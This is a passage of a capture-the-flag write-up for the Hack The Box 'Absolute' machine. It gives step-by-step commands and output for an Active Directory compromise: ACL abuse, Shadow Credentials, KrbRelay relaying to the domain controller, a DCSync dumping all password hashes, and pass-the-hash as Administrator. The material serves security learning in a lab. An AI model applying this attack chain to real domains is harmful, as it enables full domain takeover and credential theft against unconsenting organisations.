To do this first we need to authenticate to the DC as m.lovegod@absolute.htb
by creating a PSCredential
object.
1
2
PS C:\Users\jack> $SecPassword = ConvertTo-SecureString "AbsoluteLDAP2022!" -AsPlainText -Force
PS C:\Users\jack> $Cred = New-Object System.Management.Automation.PSCredential("absolute.htb\m.lovegod", $SecPassword)
Then to convert our ‘owns’ right to GenericAll
we can use PowerView’s Add-DomainObjectAcl
, specifying $Cred
as being remotely attacking on our Windows VM we are not running a process as m.lovegod@absolute.htb
. The docs for this can be found here.
1
2
PS C:\Users\jack> . .\PowerView.ps1
PS C:\Users\jack> Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Network Audit" -Rights All -DomainController absolute.htb -PrincipalIdentity m.lovegod -Verbose
To get this to work I had point my attacking Windows VM’s IPv4 adapter settings to the DNS address of absolute.htb
like shown here and it worked. Note to self, -Verbose
is brilliant for troubleshooting!
We should now have converted our Owns
privilege to GenericAll
permission over the Network Audit
group therefore will be able to add ourselves into it.
Becoming a member of the Network Audit group
Bloodhound suggests we can now add ourselves to the Network Audit
group using PowerView’s Add-DomainGroupMember
. However, this wont work for us remotely as we aren’t domain joined and can’t specify to point to the DC using this PowerView
command. An alternative is to use Add-ADPrincipalGroupMembership
from the Active Directory PowerShell module within RSAT. To use this we first need to import the Active Directory PowerShell module from here.
1
2
PS C:\Users\jack> Import-Module .\Microsoft.ActiveDirectory.Management.dll
PS C:\Users\jack> Add-ADPrincipalGroupMembership -Credential $Cred -Identity m.lovegod -MemberOf 'Network Audit' -Server dc.absolute.htb -Verbose
We get a generic error as our machine is not domain joined, however the command executed successfully. If we wanted to do it remotely on Kali I believe impacket’s dacledit.py would also work.
We can check it was successful by checking the groups m.lovegod
is a member of using PowerView
:
1
PS C:\Users\jack> Get-NetGroup -username m.lovegod -Credential $Cred -Server absolute.htb
And we see m.lovegod
has now been made a member of the Network Audit
group!
In bloodhound
the attack path now looks like this:
Now as part of the Network Audit
group we can abuse the GenericWrite
to winrm_user
. Generic Write access grants the ability to write to any non-protected attribute on the target object, including “serviceprincipalnames” for a user. An opsec way would be to perform a targeted kerberoast attack by adding an SPN
to m.lovegod
, however this might not be successful if this user is practising good password hygiene and we are unable to crack the hash from kerberoasting.
Adding Shadow Credentials
A much better way for us to abuse this GenericWrite
permission is to perform a Shadow Credentials attack. This blog outlines that if we have GenericWrite
over an object we inherit read and more importantly, WRITE
rights over the msDS-KeyCredentialLink
attribute of the object enabling us to perform a Shadow Credentials attack if a PKI
solution is in place such as Active Directory Certificate Services. We can check if this is installed in the domain using certipy.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ certipy find -username m.lovegod@absolute.htb -k -target dc.absolute.htb
Certipy v4.3.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'absolute-DC-CA' via CSRA
[!] Got error while trying to get CA configuration for 'absolute-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'absolute-DC-CA' via RRP
[*] Got CA configuration for 'absolute-DC-CA'
We see ADCS is installed with a CA named absolute-DC-CA
!
Whilst this attack is covered extensively by specterops in this blog, the TLDR is it’s possible to add “Key Credentials” to the msDS-KeyCredentialLink
attribute of a user/computer object and then perform Kerberos authentication to obtain a TGT
for that account using PKINIT
(public key approach to Kerberos pre-authentication). This means without even knowing the user’s password or hash, we can add a sneaky backdoor to that user account and obtain a TGT
through PKINIT
for that user. I like to think of Shadow Credentials as having a spare key to your house - another way in that only a few people know about!
With a valid TGT
for winrm_user
, as they are a member of the Remote Management Users
group this would enable us to login to the DC via WinRM
as them. The first blog explains we can perform the Shadow Credentials attack from a non-domain joined Kali machine using pyWhisker.
So lets abuse the GenericWrite
privilege of m.lovegod
to write to the msDS-KeyCredentialLink
of winrm_user
by adding a key-pair using pyWhisker
, still using our valid TGT
of m.lovegod
:
1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ git clone https://github.com/shutdownrepo/pywhisker; cd pywhisker
┌──(kali㉿kali)-[~/Desktop/htb/absolute/pywhisker]
└─$ python3 pywhisker.py -d "absolute.htb" -k -u "m.lovegod" --target "winrm_user" --action "add" --dc-ip "10.10.11.181"
We can see the command completed successfully, updating the ms-Ds-KeyCredentialLink
with our key-pair and saved the .pfx
certificate to be used in PKINIT
auth. To verify this, if we run PowerView
on our Windows VM to check the properties of the winrm_user
we see the msDS-KeyCredentialLink
attribute is now set.
1
PS C:\Users\jack> Get-NetUser winrm_user -Credential $Cred -Server absolute.htb
The output from PyWhisker
tells us we can then obtain a TGT
for winrm_user
with PKINIT
auth using the saved .pfx
certificate and https://github.com/dirkjanm/PKINITtools.
1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ git clone https://github.com/dirkjanm/PKINITtools; cd PKINITtools
┌──(kali㉿kali)-[~/Desktop/htb/absolute/PKINITtools]
└─$ python3 gettgtpkinit.py absolute.htb/winrm_user -cert-pfx ../pywhisker/E7hXBx8C.pfx -pfx-pass CdnFSwlQB9PSCKJHTvst out.ccache
We see this was successful and we now have a TGT
saved in an out.ccache
file!
With the TGT
and AS-REP
encryption key (printed by gettgtpkinit.py
), if we wanted to go a step further and obtain the NTLM
hash of winrm_user
for persistence (as our TGT
will expire after 4
hours) we could to this via unpac-the-hash:
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/Desktop/htb/absolute/PKINITtools]
└─$ python3 getnthash.py -key 16ff3e6f6d50565e0d33f27596a7749a82ff500aac99276359bfe63548eb0311 'absolute.htb/winrm_user'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
8738c7413a5da3bc1d083efc0ab06cb2
This reveals the NTLM
hash for the winrm_user
is 8738c7413a5da3bc1d083efc0ab06cb2
!
Logging in via WinRM
To use our TGT
as winrm_user
with WinRM
we need to modify our /etc/krb5.conf
file to point to the KDC
just like the example here.
1
2
3
4
5
6
7
8
9
10
11
[libdefaults]
default_realm = ABSOLUTE.HTB
dns_canonicalize_hostname = false
[realms]
ABSOLUTE.HTB = {
kdc = absolute.htb:88
admin_server = dc.absolute.htb:464
}
[domain_realm]
.absolute.htb = ABSOLUTE.HTB
absolute.htb = ABSOLUTE.HTB
“The
/etc/krb5.conf
file contains Kerberos configuration information, including the locations ofKDCs
and administration daemons for the Kerberos realms of interest, defaults for the current realm and for Kerberos applications, and mappings of host names onto Kerberos realms.”
We can save the out.ccache
produced from PKINITtools
containing our TGT
to the KRBCCNAME
environment variable.
1
2
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ export KRB5CCNAME=out.ccache
Then we can search how to connect to WinRM
with Kerberos, for which we need to specify the realm with -r
for Kerberos authentication.
1
2
3
4
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ evil-winrm | grep "\-r"
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]
-r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }
And we can finally login and grab user.txt
!
1
2
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ evil-winrm -i dc.absolute.htb -r absolute.htb
Privesc
Figuring out how to escalate
With a foothold on the domain controller, if we escalate privileges locally we will have owned the entire absolute.htb
domain. However, this is where I got stuck for a long while and resorted to enumerating common privesc avenues such as ADCS
vulnerabilites like ESC1
using Certify.
As expected, this domain’s PKI
was fully hardened against these. Nevertheless, if we remember back to our previous analysis with Wireshark
we learnt that neither LDAP over SSL (LDAPS) or LDAP signing is enforced:
- LDAP signing is not enforced within the domain as if LDAP signing was enforced binds over a non-SSL/TLS connection stop working (ref here).
- Our non-SSL LDAP bind with
test.exe
was successful showing LDAP signing is not enforced and we intercepted credentials in clear text (unencrypted format), confirming LDAPS is not enforced either. - We also know this box focuses heavily around Kerberos exploitation.
With these things in mind after doing a lot of googling I discovered this tool. KrbRelayUp
is a universal no-fix local privilege escalation in windows domain environments where LDAP signing is not enforced (the default settings) by relaying Kerberos authentication to local SYSTEM
on any machine. Sound like our environment yet?
The initial attack method uses KrbRelay
to exploit Resource-Based Constrained Delegation (RBCD), however checking the ms-ds-machineaccountquota
we see it is set to 0
, meaning we don’t have permission to add computers to the domain making this exploitation method unfeasible.
1
2
3
4
5
6
*Evil-WinRM* PS C:\Users\winrm_user> Get-DomainObject -Identity "dc=absolute,dc=htb" -Domain absolute.htb -Properties ms-ds-machineaccountquota
ms-ds-machineaccountquota
-------------------------
0
The
ms-ds-machineaccountquota
is normally set to10
and demonstrates another realistic hardening measure applied to this domain, following official recommendations from Microsoft as how to mitigate attacks like RBCD and KrbRelay!
Despite this, an update on the github provides us with the following guide that outlines the attack can be carried out in a different way by abusing Shadow Credentials, very similar to how we compromised winrm_user
. The following pre-requisites are necessary for this attack method, of which we meet all of them:
- Domain Controller without LDAP Signing enforced (default) - yes, as previously shown with
Wireshark
. - Domain Controller with its own server authentication certificate (for
PKINIT
authentication) - yes, the CAabsolute-DC-CA
supportsPKINIT
authentication. - Ability to write the
msDs-KeyCredentialLink
attribute of the target computer account (default) - yes, by defaultKrbRelay
can coerce a relay internally for theDC$
machine account who has permission to edit its ownms-DS-KeyCredentialLink
attribute. - Not have the Oct 2022 Windows patches applied - the box was released in Sep 22 so is definitely not patched with the Oct 22 KrbRelay patch!
This attack method also bypasses the
Protected Users
group as we exploit theDC$
account, which cannot be added to this group. So even though all the users are ‘protected’ are they really?
Explaining the Kerberos relaying attack
At the time of writing this there’s not really much on Google about how this complex attack works at an understandable level, so I’ll try my best to explain:
KrbRelay
works by coercing a Kerberos authentication relay internally from the Machine account (DC$
) to LDAP
and then using this authentication relay to add Shadow Credentials to the DC$
account. But how exactly does this authentication relay allow us to add Shadow Credentials?
If we remember back to how we explained Shadow Credentials work, to add these we need to have the GenericWrite
permission to edit a user’s or computer’s msDS-KeyCredentialLink
attribute. We already enumerated all the ACLs
with bloodhound
and nothing was present that would allow us to edit the DC$
credential link, so how do we add these to the DC$
with KrbRelay
?
As outlined here, unlike user objects computer objects can by default edit their own ms-Ds-KeyCredentialLink
attribute and therefore add their own ShadowCreds. Consequently, by relaying the DC$
auth internally with KrbRelay
, we can trick the DC into adding its own backdoor through adding Shadow Credentials to itself! And why do we care if can do this? If we set Shadow Credentials on the DC like this, we can request a TGT
for the DC$
account via PKINIT
just like we did earlier with winrm_user
. Equipped with the DC$ TGT
we can simulate the replication behaviour of domain controller data by performing a DCSync
to extract all the user password hashes in the domain - a pretty neat attack right?
(Excuse the horrible picture I am not good at art lol)
Compiling KrbRelay.exe
The guide exploiting KrbRelay
with Shadow Credentials uses this version of KrbRelay
from cube0x0
. Lets compile it from the github using Visual Studio by cloning the repository and building the KrbRelayUp.sln
solution file.
We see some warnings but it builds successfully!
We then can transfer KrbRelay.exe
as well as Rubeus (needed later to request the Machine Account DC$
ticket via PKINIT
after adding Shadow Creds) and RunasCS onto the box (to create an interactive session):
1
2
3
*Evil-WinRM* PS C:\windows\tasks> upload /home/kali/Desktop/KrbRelay.exe
*Evil-WinRM* PS C:\windows\tasks> upload /home/kali/Downloads/Rubeus.exe
*Evil-WinRM* PS C:\windows\tasks> upload /home/kali/Downloads/RunasCs_net4.exe
Adding a Shadow Credential using KrbRelay
When following the guide on the github there is one major difference we have to account for. The guide executes KrbRelay
in an interactive session (i.e. through RDP GUI). However we are in a WinRM
shell. WinRM
runs from session 0 meaning our process runs in a completely separate space from interactive sessions where user credentials are stored in memory, and for this reason causes KrbRelay
to not work. A way round this is to use RunasCS
which bypasses this limitation and creates a false interactive session with the credentials we provide it, allowing KrbRelay
to work!
We can use RunasCS
to run KrbRelay
interactively coercing DC$
authentication to LDAP
to add a shadow credential to itself. RunasCS
creates this false interactive session by specifying any domain username and password to run the KrbRelay
process interactively, using the default CLSID
from the guide. I elected for the credentials for m.lovegod
.
It actually transpires that as long as we specify a valid username with
RunasCS
, we can use totally invalid credentials - e.g.krbtgt
user with"sdaksjd"
as the password. This works becauseRunasCS
will attempt to create a network-only logon with CreateProcessWithLogonW. As outlined in the documentation, credentials for network-only logons are not actually validated, meaning we are allowed to use any junk password to create the interactive session. These will not be validated by the system and remember it is the coercion ofDC$
that is relayed, not the user creating theKrbRelay
process credentials.
1
2
*Evil-WinRM* PS C:\windows\tasks> .\RunasCs_net4.exe m.lovegod 'AbsoluteLDAP2022!' -d absolute.htb "c:\windows\tasks\krbrelay.exe -spn ldap/dc.absolute.htb -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -shadowcred"
[-] RunasCsException: CreateProcessWithLogonW failed with 1385
Executing the first step we get error message about the CreateProcessWithLogonW
failing.
Googling the error we see the logon type we tried has not been granted to our user. By default RunasCS
tries Logon Type 2
(interactive).
We can try and find other logon types with another quick google search:
Lets try Logon Type 9
by specifying -l 9
which is like running runas /netonly
- authenticating on the network with m.lovegod
credentials specified (although not actually verified). This produces a different error relating to a COMException
. This time it looks like our CLSID
we specified caused the error.
The CLSID
is a globally unique identifier that identifies a COM
class object. We need to explicitly specify this to ensure the correct COM
object is used to handle the Kerberos request to relay the DC$
auth. To find the right CLSID
we can refer here to a list of example CLSIDs
of local services. Working my way down the list, I found that first TrustedInstaller CLSID 8F5DF053-3013-4dd8-B5F4-88214E81C0CF
worked (for NT AUTHORITY\SYSTEM
). This SYSTEM COM
object will handle the Kerberos TGT
for the SYSTEM machine account which is DC$
and works because this is the auth we want to relay!
1
.\RunasCs_net4.exe m.lovegod 'AbsoluteLDAP2022!' -d absolute.htb -l 9 "c:\windows\tasks\krbrelay.exe -spn ldap/dc.absolute.htb -clsid 8F5DF053-3013-4dd8-B5F4-88214E81C0CF -shadowcred"
With the right CLSID
we can see Kerberos authentication was relayed to LDAP successfully and Shadow Credentials were added to the DC$
, returning our certificate to use with our added key-pair and even providing us the exact Rubeus
command to obtain the DC$ TGT
in the next step!
To prove our initial point about
KrbRelay
only working withRunasCS
, attempting the same command without it fails due to the ‘non-interactive’ session.
Requesting a Machine Account Ticket via PKINIT
Once we have a certificate for our Shadow Credential, we can use it with Rubeus
to request a Kerberos ticket (asktgt
) for the DC$
machine account by passing the certificate via PKINIT
and displaying it back to us with /show
.
1
.\Rubeus.exe asktgt /user:DC$ /certificate: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 /password:"551ccc6b-3c13-4536-9f44-7ba2f723cd0d" /getcredentials /show
We can take this base64 ticket.kirbi
contining the DC$
credentials, remove whitespace, base64 decode and place in a admin.kirbi
file so we can use the TGT
on our kali machine:
1
echo "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" | base64 -d > admin.kirbi
We can then convert the kerberos ticket that have the .kirbi
extension to .ccache
for use with impacket and then set the KRB5CCNAME
environmental variable to the location of the .ccache
ticket in order to use the ticket from cache during Kerberos authentication.
1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ impacket-ticketConverter ./admin.kirbi admin.ccache
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ export KRB5CCNAME=./admin.ccache
Performing a DCSync
By default domain controllers replicate their data between each other, meaning as we have a TGT
for the DC DC$
we can simulate this replication using secretsdump
to DCSync with the DC$
hash and extract all the user password hashes from the NTDS.DIT
in the domain!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ impacket-secretsdump -k -no-pass dc.absolute.htb -dc-ip 10.10.11.181
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator\Administrator:500:aad3b435b51404eeaad3b435b51404ee:1f4a6093623653f6488d5aa24c75f2ea:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3ca378b063b18294fa5122c66c2280d4:::
J.Roberts:1103:aad3b435b51404eeaad3b435b51404ee:7d6b7511772593b6d0a3d2de4630025a:::
M.Chaffrey:1104:aad3b435b51404eeaad3b435b51404ee:13a699bfad06afb35fa0856f69632184:::
D.Klay:1105:aad3b435b51404eeaad3b435b51404ee:21c95f594a80bf53afc78114f98fd3ab:::
s.osvald:1106:aad3b435b51404eeaad3b435b51404ee:ab14438de333bf5a5283004f660879ee:::
j.robinson:1107:aad3b435b51404eeaad3b435b51404ee:0c8cb4f338183e9e67bbc98231a8e59f:::
n.smith:1108:aad3b435b51404eeaad3b435b51404ee:ef424db18e1ae6ba889fb12e8277797d:::
m.lovegod:1109:aad3b435b51404eeaad3b435b51404ee:a22f2835442b3c4cbf5f24855d5e5c3d:::
l.moore:1110:aad3b435b51404eeaad3b435b51404ee:0d4c6dccbfacbff5f8b4b31f57c528ba:::
c.colt:1111:aad3b435b51404eeaad3b435b51404ee:fcad808a20e73e68ea6f55b268b48fe4:::
s.johnson:1112:aad3b435b51404eeaad3b435b51404ee:b922d77d7412d1d616db10b5017f395c:::
d.lemm:1113:aad3b435b51404eeaad3b435b51404ee:e16f7ab64d81a4f6fe47ca7c21d1ea40:::
svc_smb:1114:aad3b435b51404eeaad3b435b51404ee:c31e33babe4acee96481ff56c2449167:::
svc_audit:1115:aad3b435b51404eeaad3b435b51404ee:846196aab3f1323cbcc1d8c57f79a103:::
winrm_user:1116:aad3b435b51404eeaad3b435b51404ee:8738c7413a5da3bc1d083efc0ab06cb2:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:a7864ab463177acb9aec553f18f42577:::
[*] Cleaning up...
We now have the NTLM hash for the Administrator
user: 1f4a6093623653f6488d5aa24c75f2ea
If we remember back to before we found that the Administrator
user was the only non-default member not actually in the Protected Users
group, meaning NTLM is not disabled for this user! Therefore instead of requesting a TGT
we could skip this step and simply pass the NTLM hash to connect via WinRM
.
1
2
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ evil-winrm -i dc.absolute.htb -u Administrator -H 1f4a6093623653f6488d5aa24c75f2ea
With root.txt
, we have pwned the box!
Final thoughts
Well honestly that was a wild ride, and if you read this far kudos to you! I think the box would’ve been more realistic if defender was enabled on the DC, as you’ll never seen one in real life without it. However I can see why they didn’t do this - I guess its not really a hard but unnecessary step to obfuscate or reflectively load Rubeus
, RunasCS
and KrbRelay
to get around it, which could’ve hurt my head more than it already did from all the Kerberos relaying magic.
The bleeding-edge vulnerabilities taught here and little easter eggs like the hugely realistic hardening measures and very representative ‘real-world’ misconfigurations make this easily my favourite machine from Hack The Box, so big thanks to Geiseric
for creating it. If I saw an environment like this in my day job I would be suitably impressed, as normally AD environments have significantly worse misconfigurations than this 🙂 Anyhow, hope you learned something new from this very long writeup!